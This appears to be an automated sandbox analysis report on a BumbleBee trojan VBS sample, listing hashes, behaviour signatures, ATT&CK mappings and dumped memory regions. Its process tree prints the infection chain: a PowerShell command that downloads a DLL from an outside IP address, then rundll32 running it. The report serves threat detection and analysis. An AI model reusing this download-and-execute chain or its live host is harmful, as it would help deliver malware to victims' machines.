bumblebee | e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3

Resubmissions

09-10-2023 22:51

231009-2svgqaba35 8

15-09-2023 13:25

230915-qn1bmaca6s 10

Analysis

max time kernel
128s
max time network
136s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
15-09-2023 13:25

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General

Target

IN(11)-9-12-2023_258806.vbs
Size

1KB
MD5

7b62afd1f1ec24823da003793e6e58be
SHA1

5220e8670f31beeb7233c88aa99fb5b623d067f0
SHA256

e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3
SHA512

f3bc89c42a03c37ec8a5235b806226ddfa6444b04e6844fbce1d8281b75a6c65bb81dc14b39e7af16868a832814254883fb2dde983596c5da48deef9eff00d08

Score

10^/10

bumblebee js1 trojan

Malware Config

Extracted

Family

bumblebee

Botnet

js1

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	2144	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
3796	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3796	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 592 wrote to memory of 2144	592	WScript.exe	70
PID 592 wrote to memory of 2144	592	WScript.exe	70
PID 592 wrote to memory of 3796	592	WScript.exe	72
PID 592 wrote to memory of 3796	592	WScript.exe	72

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
  2⤵
  - Loads dropped DLL
  - Suspicious use of NtCreateThreadExHideFromDebugger
  PID:3796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovrt0xxx.xed.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
\??\c:\users\public\name.dll

Filesize
1.1MB

MD5
b139cab0622f45b6543f92effbd7fc49

SHA1
499506a1e54bcf805afd4fc34b222b8afdd7acd3

SHA256
9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08

SHA512
83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

Download Submit
\Users\Public\name.dll

Filesize
1.1MB

MD5
b139cab0622f45b6543f92effbd7fc49

SHA1
499506a1e54bcf805afd4fc34b222b8afdd7acd3

SHA256
9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08

SHA512
83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

Download Submit
memory/2144-10-0x0000026C3EF30000-0x0000026C3EFA6000-memory.dmp

Filesize
472KB

Download
memory/2144-4-0x00007FF96BB80000-0x00007FF96C56C000-memory.dmp

Filesize
9.9MB

Download
memory/2144-7-0x0000026C3EC70000-0x0000026C3EC92000-memory.dmp

Filesize
136KB

Download
memory/2144-26-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp

Filesize
64KB

Download
memory/2144-33-0x00007FF96BB80000-0x00007FF96C56C000-memory.dmp

Filesize
9.9MB

Download
memory/2144-6-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp

Filesize
64KB

Download
memory/2144-5-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp

Filesize
64KB

Download
memory/3796-36-0x000001DF27F30000-0x000001DF27FA9000-memory.dmp

Filesize
484KB

Download
memory/3796-38-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp

Filesize
1.9MB

Download
memory/3796-37-0x000001DF28110000-0x000001DF2821A000-memory.dmp

Filesize
1.0MB

Download
memory/3796-39-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp

Filesize
1.9MB

Download
memory/3796-40-0x000001DF27F30000-0x000001DF27FA9000-memory.dmp

Filesize
484KB

Download
memory/3796-41-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp

Filesize
1.9MB

Download